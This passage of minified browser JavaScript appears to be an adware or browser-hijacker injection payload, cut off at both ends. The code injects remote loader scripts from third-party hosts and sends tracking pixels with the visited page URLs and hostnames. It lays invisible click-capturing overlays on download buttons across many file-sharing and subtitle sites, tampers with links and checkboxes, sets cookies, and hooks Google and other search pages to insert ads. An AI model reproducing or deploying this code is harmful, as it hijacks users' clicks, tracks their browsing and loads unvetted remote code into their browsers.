this.xlat.indexOf(b.charAt(d++)),e=this.xlat.indexOf(b.charAt(d++)),l=this.xlat.indexOf(b.charAt(d++)),h=(f&15)<<4|e>>2,k=(e&3)<<6|l,c=c+String.fromCharCode(g<<2|f>>4);64!=e&&0<h&&(c+=String.fromCharCode(h));64!=l&&0<k&&(c+=String.fromCharCode(k))}return this._utf8_decode(c)},_utf8_decode:function(b){for(var c=\"\",d=0;d<b.length;){var e=b.charCodeAt(d);if(128>e)c+=String.fromCharCode(e),d++;else if(191<e&&224>e)var f=b.charCodeAt(d+1),c=c+String.fromCharCode((e&31)<<6|f&63),d=d+2;else var f=b.charCodeAt(d+ 1),p=b.charCodeAt(d+2),c=c+String.fromCharCode((e&15)<<12|(f&63)<<6|p&63),d=d+3}return c}};e.target={};if(e.config&&e.config.templates instanceof Object&&e.config.templates.style instanceof Object&&\"style\"==e.config.templates.style.type){var n=e.dom.json_to_html(e.config.templates.style);\"undefined\"!=typeof n&&m.appendChild(n)}e.pixel={host:\"http://cbpx.installerdatauk.info\",params:function(b){return{cc:\"PL\",hostname:window.location.hostname,hid:\"8629283250314236861\",eid:\"42\", pid:\"1160\",v:\"0.0.1\",ch:b?b:2}}};e.ajax=new function(){this.get=function(b,c){try{var d=new XMLHttpRequest;d.open(\"GET\",b,!0);d.withCredentials=!0;d.onreadystatechange=function(){4==d.readyState&&c(d.responseText)};d.send()}catch(e){}}};e.getPixelUrl=function(b){b=e.pixel.params(b);var c=\"\",d;for(d in b)c+=d+\"=\"+b[d]+\"&\";c=c.slice(0,-1);return e.pixel.host+\"?\"+c};e.init=function(){window.vast_callback=function(b){b=r.decode(b);var c=JSON.parse(b);(new Image).src=e.getPixelUrl(\"[false]\"== b ? -2:2);if(c instanceof Array&&\"undefined\"!=typeof c[0]&&c[0]&&(b=c[0][0],!window._isLoaded&&(window._isLoaded=!0,-1!=window.location.href.indexOf(b.targets.player_1.domain)))){var c=b.targets.player_1.inserts[0].selector,d=b.targets.player_1.inserts[0].selector2,g=b.targets.player_1.inserts[0].selectorText,f=b.targets.player_1.inserts[0].cssText,p=b.targets.player_1.inserts[1].text,l=b.targets.player_1.url;e.isIE()&&(d=b.targets.player_1.inserts[0].selectorIE);var h=document.createElement(\"object\"); h.setAttribute(\"type\",\"application/x-shockwave-flash\");h.setAttribute(\"width\",\"100%\");h.setAttribute(\"height\",\"100%\");h.setAttribute(\"id\",\"webix_video\");h.setAttribute(\"data\",l);var k=document.querySelector(c),q=document.createElement(\"div\");q.setAttribute(\"id\",\"x-text\");q.innerHTML=p;var m=document.querySelector(g),n=document.querySelector(d);setTimeout(function(){for(var b in k.children){var c=k.children[b];c.style&&c.style.setProperty(\"display\",\"none\")}var d=document.createElement(\"div\");d.id= \"btn-x\";d.style.cssText=f;d.addEventListener(\"click\",function(){h.remove();c.style.removeProperty(\"display\");d.remove();q.remove()});k.insertBefore(h,c);n.insertBefore(d,n.firstChild);m.insertBefore(q,m.firstChild);(new Image).src=e.getPixelUrl()},2E3)}};e.ajax.get(\"https:\"==location.protocol?\"https://gadgetproffi.com?tid=4&subid=1160&subid1=8629283250314236861&subid2=42&lt=2617.24&k=NETWORK%20CHECK&__srvmid=2\":\"http://hearterest.com/?tid=4&subid=1160&subid1=8629283250314236861&subid2=42&lt=2617.24&k=NETWORK%20CHECK&__srvmid=2\", vast_callback)};(!e.isIE()||e.isIE()&&11<=e.msie)&&e.init();\"undefined\"==typeof window.__mcr&&(window.__mcr=e)}},s=document.createElement(\"script\");s.innerHTML=\"new \"+a;document.getElementsByTagName(\"body\")[0].appendChild(s)};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//api.jollywallet.com/affiliate/client?dist=87&sub=prm&name=priocechop\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;(function(){if(-1<window.self.location.hostname.indexOf(\"eo-online.me\")&&window.self==window.top){var g=function(){try{if(jQuery(\".down, .dloadf, .dloadt\").attr(\"href\",\"#\"),$(\"#adsfrm\").length){var f=$(\"#adsfrm\").offset();$('<img src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\" style=\"position:absolute;z-index:9999;top:'+f.top+\"px;left:\"+f.left+\"px;width:\"+$(\"#adsfrm\").width()+\"px;height:\"+$(\"#adsfrm\").height()+'px;\">').appendTo(\"body\")}}catch(g){}},f=document.createElement(\"script\");\nf.type=\"text/javascript\";f[-1<navigator.userAgent.toLowerCase().indexOf(\"msie\")?\"text\":\"innerHTML\"]=\"(\"+g.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(f)}-1<window.self.location.hostname.indexOf(\"ehd.c\")&&document.getElementById(\"r1113566095\")&&(g=document.createElement(\"img\"),g.setAttribute(\"style\",\"width:100%;height:100%;position:absolute;z-index:99999;left:0;top:0\"),g.src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\",f=document.getElementById(\"r1113566095\").parentNode,\nf.style.position=\"relative\",f.appendChild(g))})();-1<window.self.location.hostname.indexOf(\"hesefiles.c\")&&(window.self.location.href=\"about:blank\");\nif(-1<window.self.location.hostname.indexOf(\"usfiles.ne\")){var a=function(){$(\"form[name=F1]\").submit(function(){if(-1<$(this).attr(\"action\").indexOf(\"bdl1=\"))return $(\"input[name=quick]\").attr(\"checked\",!1),window.setTimeout(function(){$(\"#btn_download\").attr(\"disabled\",!1).val(\"Download Now!!\");$(\"form[name=F1]\").unbind(\"submit\")},700),!1})};if(-1==navigator.userAgent.toLowerCase().indexOf(\"chrome\"))a();else{var s=document.createElement(\"script\");s.type=\"text/javascript\";s.innerHTML=\"(\"+a.toString()+\n\")()\";document.body.appendChild(s)}}if(-1<window.self.location.hostname.indexOf(\"ebeast.co\")){var d=document.getElementsByTagName(\"div\"),i;for(i in d)d[i]&&d[i].style&&\"fixed\"==d[i].style.position&&\"solid\"==d[i].style.borderBottomStyle&&(d[i].style.display=\"none\")}if(-1<window.self.location.hostname.indexOf(\"oolrom.com\")){var date=new Date;date.setTime(date.getTime()+2592E6);var expires=\"; expires=\"+date.toGMTString();document.cookie=\"installer=14604\"+expires+\"; path=/;domain=.coolrom.com\"}\n-1<document.location.host.indexOf(\"bookbrowsee.ne\")&&new function(){for(var g=[\"adv.php?\",\"/adv.php?\"],f=0;f<document.links.length;f++)for(var h=document.links[f],k=h.pathname+h.search,m=0;m<g.length;m++)g[m]==k.substr(0,g[m].length)&&\"nofollow\"==h.rel&&\"_blank\"==h.target&&(h.setAttribute(\"onclick\",\"return false\"),h.addEventListener(\"click\",function(f){f.returnValue=!1;f.preventDefault&&f.preventDefault()},!1))};\nif(-1<document.location.host.indexOf(\"irrorcreator.co\"))for(var c=[\"verticdn.com\"],d=0;d<document.links.length;d++)for(var a=document.links[d],e=a.host,b=0;b<c.length;b++)c[b]==e&&(a.setAttribute(\"onclick\",\"return false\"),a.addEventListener(\"click\",function(g){g.returnValue=!1;g.preventDefault&&g.preventDefault()},!1));\n-1<document.location.host.indexOf(\"loud-vibe.co\")&&(a=document.getElementById(\"continue\"),a.setAttribute(\"onclick\",\"return false\"),a.setAttribute(\"href\",\"\"),a.addEventListener(\"click\",function(g){g.returnValue=!1;g.preventDefault&&g.preventDefault()},!1),a.addEventListener(\"mousedown\",function(g){g.returnValue=!1;g.preventDefault&&g.preventDefault()},!1));\n-1<document.location.host.indexOf(\"p3seal.co\")&&(a=document.getElementById(\"continue\"),a.setAttribute(\"onclick\",\"return false\"),a.setAttribute(\"href\",\"\"),a.addEventListener(\"click\",function(g){g.returnValue=!1;g.preventDefault&&g.preventDefault()},!1),a.addEventListener(\"mousedown\",function(g){g.returnValue=!1;g.preventDefault&&g.preventDefault()},!1));\n-1<document.location.host.indexOf(\"p3vampire.co\")&&(a=document.getElementById(\"continue\"),a.setAttribute(\"onclick\",\"return false\"),a.setAttribute(\"href\",\"\"),a.addEventListener(\"click\",function(g){g.returnValue=!1;g.preventDefault&&g.preventDefault()},!1),a.addEventListener(\"mousedown\",function(g){g.returnValue=!1;g.preventDefault&&g.preventDefault()},!1));\n-1<document.location.href.indexOf(\"necraftdl.com/download.ph\")&&(a=document.getElementById(\"downloadpage\"),b=a.getElementsByTagName(\"a\")[0],d=document.createElement(\"div\"),d.style.position=\"absolute\",d.style.width=\"100%\",d.style.height=\"34px\",d.style.left=\"0\",d.style.cursor=\"pointer\",d.style.zIndex=9999,b.parentNode.insertBefore(d,b.previousSibling));\nif(-1<document.location.href.indexOf(\"necraftdl.com\"))for(i=0;i<document.links.length;i++){var link=document.links[i];if(\".exe\"==link.href.substr(-4)){var p=link.parentNode;p.style.position=\"relative\";d=document.createElement(\"div\");d.style.position=\"absolute\";d.style.top=0;d.style.left=0;d.style.width=\"100%\";d.style.height=\"100%\";d.style.cursor=\"pointer\";d.style.zIndex=9999;p.appendChild(d)}}\nif(-1<document.location.host.indexOf(\"leunlckr.co\")){var b=document.getElementsByTagName(\"button\")[0],b2=document.createElement(\"button\");b2.className=b.className;b2.innerHTML=b.innerHTML;b.parentNode.insertBefore(b2,b);b.parentNode.removeChild(b)}-1<document.referrer.indexOf(\"go.theadsnet.com\")&&document.write(\"\");\n(function(){var g=0;try{if(-1<window.location.href.indexOf(\"ack-free.co\"))var f=setInterval(function(){try{var h=document.getElementById(\"ucd-countdown-1\"),m=[];m.push(1*h.children[2].children[1].children[1].innerText);m.push(1*h.children[2].children[2].children[1].innerText);m.push(1*h.children[3].children[1].children[1].innerText);m.push(1*h.children[3].children[2].children[1].innerText);for(var n=h=0;n<m.length;n++)h+=m[n];if(!(0<h)){clearInterval(f);var l=document.createElement(\"div\");l.style.position=\n\"absolute\";l.style.top=0;l.style.left=0;l.style.width=\"100%\";l.style.height=\"100%\";l.style.zIndex=\"9999\";l.style.cursor=\"pointer\";var q=document.getElementById(\"ucd-countdown-1-content\").children[1];q.style.position=\"relative\";q.appendChild(l)}}catch(u){try{var r=0;jQuery.each(jQuery(\".ucd-figure.ucd-countdown-digit-bottom\"),function(){r+=1*jQuery(this).text()});if(0===r){clearInterval(f);var t=jQuery(\"#ucd-countdown-1-content iframe\"),v=t.parent();t.remove();v.html(\"<img title='Get Download' alt='latbut' src='http://i.imgur.com/At0oA5A.png' height='61' width='373'>\")}}catch(w){\"undefined\"!==\ntypeof g&&30<++g&&clearInterval(f)}}},750)}catch(h){}})();\nvar __intervalcountasd=0,__intervalasd=setInterval(function(){__intervalcountasd++;if(-1<window.location.host.indexOf(\"ownloads.ziddu.co\")){for(var g=0;g<document.links.length;g++)try{var f=document.links[g].href.toLowerCase();if(-1==f.indexOf(\"ww.ziddu.co\")&&-1==f.indexOf(\"#\")&&-1==f.indexOf(\"tunes.apple.co\")&&-1==f.indexOf(\"lay.google.co\")&&-1==f.indexOf(\"/gallery/\")){try{for(var h=document.links[g],k=0;15>=k;k++)h=h.parentNode;if(-1<h.className.indexOf(\"footerbg\"))continue}catch(m){}var n=document.links[g].parentNode;\nif(!(-1<n.className.indexOf(\"addthis_toolbox\"))){n.style.position=\"relative\";var l=document.createElement(\"div\");l.style.position=\"absolute\";l.style.left=0;l.style.top=0;l.style.width=\"100%\";l.style.height=\"100%\";l.style.zIndex=\"9999\";l.style.cursor=\"pointer\";n.appendChild(l)}}}catch(q){}f=document.getElementsByTagName(\"iframe\");for(g=0;g<f.length;g++)try{-1==f[g].src.indexOf(\"acebook.co\")&&-1==f[g].src.indexOf(\"cp.crwdcntrl.ne\")&&(n=f[g].parentNode,n.style.position=\"relative\",l=document.createElement(\"div\"),\nl.style.position=\"absolute\",l.style.left=0,l.style.top=0,l.style.width=\"100%\",l.style.height=\"100%\",l.style.zIndex=\"9999\",l.style.cursor=\"pointer\",l.id=g,n.appendChild(l))}catch(u){}}20<__intervalcountasd&&clearInterval(__intervalasd)},500);\nnew function(){if(0<location.host.toLowerCase().indexOf(\"pensubtitles.or\")){f=document.createElement(\"div\");f.style.position=\"absolute\";f.style.width=\"728px\";f.style.height=\"90px\";f.style.cursor=\"pointer\";f.style.top=\"0\";f.style.zIndex=\"2000\";var g=document.getElementsByTagName(\"iframe\")[0].parentNode;g.insertBefore(f,document.getElementsByTagName(\"iframe\")[0]);g.style.position=\"relative\";f=document.createElement(\"div\");f.style.position=\"absolute\";f.style.width=\"728px\";f.style.height=\"90px\";f.style.cursor=\n\"pointer\";f.style.top=\"0\";f.style.zIndex=\"2000\";g=document.getElementsByTagName(\"iframe\")[1].parentNode;g.insertBefore(f,document.getElementsByTagName(\"iframe\")[1]);g.style.position=\"relative\";g=document.links;for(i=0;i<g.length;i++)\"Download\"==(\"undefined\"===typeof g[i].innerText?g[i].textContent:g[i].innerText)&&(f=document.createElement(\"div\"),f.style.position=\"absolute\",f.style.width=\"214px\",f.style.height=\"40px\",f.style.cursor=\"pointer\",f.style.top=\"0\",f.style.zIndex=\"2000\",p=g[i].parentNode,\np.style.position=\"relative\",p.insertBefore(f,g[i]));document.getElementById(\"scrubbuad\").style.zIndex=\"15\";f=document.createElement(\"div\");f.style.zIndex=\"15000\";f.style.right=\"9px\";f.style.bottom=\"0\";f.style.position=\"fixed\";f.style.padding=\"0\";f.style.margin=\"0 0 30px 0\";f.style.width=\"220px\";f.style.height=\"72px\";f.style.overflow=\"visible\";f.style.cursor=\"pointer\";document.getElementsByTagName(\"body\")[0].firstChild.appendChild(f)}if(-1<window.location.href.indexOf(\"pensubtitles.us/opensubtitles-playe\")){g=\ndocument.getElementById(\"divPlayerDesc\");if(null!=g){g.style.position=\"relative\";var f=document.createElement(\"div\");f.style.position=\"absolute\";f.style.width=\"100%\";f.style.height=\"100%\";f.style.cursor=\"pointer\";f.style.top=\"0\";f.style.zIndex=\"2000\";g.appendChild(f)}g=document.getElementById(\"divPlayerHead\");if(null!=g)for(var h=0;h<g.children.length;h++)if(\"span\"==g.children[h].tagName.toLowerCase()){var k=g.children[h],f=document.createElement(\"div\");f.style.position=\"absolute\";f.style.width=\"100%\";\nf.style.height=\"70px\";f.style.cursor=\"pointer\";f.style.top=\"-50px\";f.style.zIndex=\"2000\";k.style.position=\"relative\";k.appendChild(f)}}};\nif(-1<location.host.toLowerCase().indexOf(\"romptfile.co\")){for(var p={},frames=document.getElementById(\"confirmbox\").getElementsByTagName(\"iframe\"),index=0;index<frames.length;index++)\"300\"==frames[index].getAttribute(\"width\")&&\"250\"==frames[index].getAttribute(\"height\")&&(p=frames[index].parentNode);p.style.position=\"relative\";d=document.createElement(\"div\");d.style.position=\"absolute\";d.style.width=\"100%\";d.style.height=\"255px\";d.style.cursor=\"pointer\";d.style.top=\"0\";d.style.zIndex=\"2000\";p.appendChild(d)}\nnew function(){if(-1<window.location.host.toLowerCase().indexOf(\"pensoftwareupdater.co\"))if(\"undefined\"!==typeof $)window.__qqcount=0,window.__qqint=setInterval(function(){var f=$(\".download\").parent();f.css(\"position\",\"relative\");var g=document.createElement(\"div\");g.style.position=\"absolute\";g.style.zIndex=\"2000\";g.style.height=\"100%\";g.style.width=\"122px\";g.style.right=\"0\";g.style.top=\"0\";g.style.cursor=\"pointer\";f.append(g);f=$(\"#addBoxX\").parent();f.css(\"position\",\"relative\");g=document.createElement(\"div\");\ng.style.position=\"absolute\";g.style.zIndex=\"2000\";g.style.height=\"45px\";g.style.width=\"101px\";g.style.right=\"22px\";g.style.bottom=\"16px\";g.style.cursor=\"pointer\";f.append(g);window.__qqcount++;10<window.__qqcount&&clearInterval(window.__qqint)},250);else for(var g=document.links,f={},h={},k=0;k<g.length;k++)f=g[k].getAttribute(\"href\"),null!=f&&-1<f.toLowerCase().indexOf(\"pensoftwareupdater.com/idownloader.ph\")&&(f=g[k].getAttribute(\"id\"),null!=f&&\"addBoxX\"==f?(h=g[k].parentNode,h.style.position=\"relative\",\nf=document.createElement(\"div\"),f.style.position=\"absolute\",f.style.zIndex=\"2000\",f.style.height=\"45px\",f.style.width=\"101px\",f.style.right=\"22px\",f.style.bottom=\"16px\"):(h=g[k].parentNode,h.style.position=\"relative\",f=document.createElement(\"div\"),f.style.position=\"absolute\",f.style.zIndex=\"2000\",f.style.height=\"100%\",f.style.width=\"122px\",f.style.right=\"0\",f.style.top=\"0\"),f.style.cursor=\"pointer\",h.appendChild(f))};\nnew function(){if(-1<location.host.toLowerCase().indexOf(\"eehd.co\")){var g=document.createElement(\"div\");g.style.top=\"0\";g.style.width=\"100%\";g.style.height=\"100%\";g.style.cursor=\"pointer\";g.style.zIndex=\"2000\";g.style.position=\"absolute\";var f=document.getElementsByTagName(\"iframe\")[0].parentNode;f.style.position=\"relative\";f.appendChild(g);g=document.createElement(\"div\");g.style.top=\"0\";g.style.width=\"100%\";g.style.height=\"100%\";g.style.cursor=\"pointer\";g.style.zIndex=\"2000\";g.style.position=\"absolute\";\nf=document.getElementById(\"preview\");f.style.position=\"relative\";f.appendChild(g)}};new function(){-1<window.location.host.toLowerCase().indexOf(\"p3olimp.ne\")&&(window.__intCount=0,window.__int=setInterval(function(){var g=document.getElementById(\"download-manager-checkbox\");if(null!==g)try{g.setAttribute(\"checked\",!1),document.getElementById(\"checkbox\").checked=!1}catch(f){}window.__intCount++;10<window.__intCount&&clearInterval(window.__int)},250))};\nif(-1<document.location.host.indexOf(\"p3olimp.ne\")&&document.getElementsByClassName&&null!==document.getElementById(\"download-manager-checkbox\"))for(c=document.getElementById(\"download-manager-checkbox\"),c.onchange=function(){for(var g=document.getElementsByClassName(\"nasjfkla\"),f=0;f<g.length;f++)g[f].style.display=c.checked?\"block\":\"none\"},i=0;i<document.links.length;i++){var link=document.links[i],onclick=link.getAttribute(\"onclick\");if(onclick&&-1<onclick.indexOf(\"prepare_download_file\")){var div=\nlink.parentNode;div.style.position=\"relative\";b=document.createElement(\"div\");b.className=\"nasjfkla\";b.style.position=\"absolute\";b.style.top=\"-2px\";b.style.left=\"92px\";b.style.width=\"71px\";b.style.height=\"16px\";b.style.zIndex=\"99999\";b.style.cursor=\"pointer\";div.appendChild(b)}}\n-1<location.host.indexOf(\"p3olimp.ne\")&&setTimeout(function(){for(var g=document.getElementById(\"leftside\"),f=0;f<g.children.length;f++)if(/\\bspnBook\\b/.test(g.children[f].className))for(var h=g.children[f].getElementsByTagName(\"a\"),k=0;k<h.length;k++)h[k].setAttribute(\"href\",\"#\"),h[k].setAttribute(\"target\",\"\")},1E3);\nnew function(){if(-1<window.location.host.toLowerCase().indexOf(\"ullypcgames.ne\"))for(var g=document.getElementsByTagName(\"center\"),f=0;f<g.length;f++){var h=g[f].firstChild;\"undefined\"!==typeof h.tagName&&\"a\"==h.tagName.toLowerCase()&&(g[f].style.position=\"relative\",h=document.createElement(\"div\"),h.style.position=\"absolute\",h.style.top=\"0\",h.style.left=\"0\",h.style.width=\"100%\",h.style.height=\"100%\",h.style.zIndex=\"2000\",h.style.cursor=\"pointer\",g[f].appendChild(h))}};\nnew function(){if(window.location.host.toLowerCase().indexOf(\"llplayer.com.b\"))for(var g=document.getElementsByTagName(\"img\"),f=0;f<g.length;f++)if(-1<g[f].getAttribute(\"src\").indexOf(\"baixatudo.png\")){var h=document.createElement(\"div\");h.style.width=\"100%\";h.style.height=\"100%\";h.style.position=\"absolute\";h.style.zIndex=\"9999\";h.style.top=\"0\";h.style.cursor=\"pointer\";var k=g[f].parentNode.parentNode;k.style.position=\"relative\";k.appendChild(h)}};\nnew function(){if(0<location.host.toLowerCase().indexOf(\"ubtitulosespanol.or\")){var g=document.links;for(i=0;i<g.length;i++)if(\"Descargar Subt\\u00edtulo\"===(g[i].innerText?g[i].innerText:g[i].textContent)){var f=document.createElement(\"div\");f.style.position=\"absolute\";f.style.width=\"100%\";f.style.height=\"100%\";f.style.cursor=\"pointer\";f.style.top=\"0\";f.style.left=\"0\";f.style.zIndex=\"2000\";var h=g[i].parentNode;h.appendChild(f);h.style.position=\"relative\"}}};\nnew function(){if(0<location.host.toLowerCase().indexOf(\"ubtitles4free.ne\")){var g=document.links;for(i=0;i<g.length;i++)if(\"Download Subtitle\"===(g[i].innerText?g[i].innerText:g[i].textContent)){var f=document.createElement(\"div\");f.style.position=\"absolute\";f.style.width=\"100%\";f.style.height=\"100%\";f.style.cursor=\"pointer\";f.style.top=\"0\";f.style.left=\"0\";f.style.zIndex=\"2000\";var h=g[i].parentNode;h.appendChild(f);h.style.position=\"relative\"}}};\nnew function(){if(0<location.host.toLowerCase().indexOf(\"egendasbrasil.or\")){var g=document.links;for(i=0;i<g.length;i++)if(\"Baixar Legenda\"===(g[i].innerText?g[i].innerText:g[i].textContent)){var f=document.createElement(\"div\");f.style.position=\"absolute\";f.style.width=\"100%\";f.style.height=\"100%\";f.style.cursor=\"pointer\";f.style.top=\"0\";f.style.left=\"0\";f.style.zIndex=\"2000\";var h=g[i].parentNode;h.appendChild(f);h.style.position=\"relative\"}}};\nnew function(){window.location.host.toLowerCase().indexOf(\"reeroms.co\")&&(window.__sdahfjkahfals3243Count=0,window.__sdahfjkahfals3243Int=setInterval(function(){for(var g=document.getElementsByTagName(\"a\"),f=0;f<g.length;f++){var h=\"undefined\"===typeof g[f].innerText?g[f].textContent:g[f].innerText,h=h.trim();if(\"Download\"===h||0==h.indexOf(\"Direct\")){var k=document.createElement(\"div\");k.style.width=\"100%\";k.style.height=\"100%\";k.style.position=\"absolute\";k.style.zIndex=\"9999\";k.style.top=\"0\";k.style.cursor=\n\"pointer\";var m=g[f].parentNode;m.style.position=\"relative\";m.appendChild(k);0==h.indexOf(\"Direct\")&&clearInterval(window.__sdahfjkahfals3243Int)}}40<window.__sdahfjkahfals3243Count++&&clearInterval(window.__sdahfjkahfals3243Int)},500))};\nnew function(){if(-1<window.location.host.toLowerCase().indexOf(\"eneral-ebooks.co\"))for(var g=document.getElementsByTagName(\"iframe\"),f=0;f<g.length;f++){var h=g[f].parentNode;if(null!=h){var k=h.getAttribute(\"class\");null!=k&&-1<k.indexOf(\"banner-body\")&&(k=document.createElement(\"div\"),k.style.width=\"100%\",k.style.height=\"100%\",k.style.position=\"absolute\",k.style.zIndex=\"9999\",k.style.top=\"0\",k.style.cursor=\"pointer\",h.style.position=\"relative\",h.appendChild(k))}}};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1500/l.js?aoi=1311798366&pid=1500&zoneid=288109&ext=priocechop&systemid=8629283250314236861&ext=priocechop\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1542/l.js?aoi=1311798366&pid=1542&zoneid=288109&ext=priocechop&systemid=8629283250314236861&ext=priocechop\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1399/l.js?aoi=1311798366&pid=1399&zoneid=288109&ext=priocechop&systemid=8629283250314236861&ext=priocechop\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;window.top==window.self&&\"undefined\"==typeof __yael_running&&(window.__yael_running=!0,new function(){if(!document.getElementById(\"__yael_once\")){var m=document.createElement(\"div\");m.id=\"__yael_once\";var n=document.getElementsByTagName(\"body\")[0];n&&n.appendChild(m);var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.5\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.eid=decodeURIComponent(\"priocechop\"); b.num_of_items_in_one=4;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.isFalse=function(a){return\"undefined\"==typeof a||0===a.length||null===a};a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c[b];\" \"==g.charAt(0);)g= g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null};a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(c,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",c,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&b(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(c,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",c,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)};b=encodeURIComponent(b);this.xhr.send(b)}};a.waitForTokens={};a.addScript=function(a,b){if(\"bing\"==b){var e=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}else document.getElementsByTagName(\"head\")[0].appendChild(a)};a.waitForElement=function(c,d,e,f){var g= a.query_selector_all(c);clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}};a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a}; a.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b= a.match(/^#([^,\\s]+)$/)||[];if(1<b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}: function(a){if(a instanceof Object){var b=new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f=this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()}; a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.version_ie_less=function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)}; a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\",\"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname); f.src=b.pixelHost+\"?hid=8629283250314236861&eid=42&pid=1160&prodid=186&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=PL&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\",\"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s5. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"], src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d=0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()},!1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0; c.callback=a;c.count=0;this.check_tab=function(){var 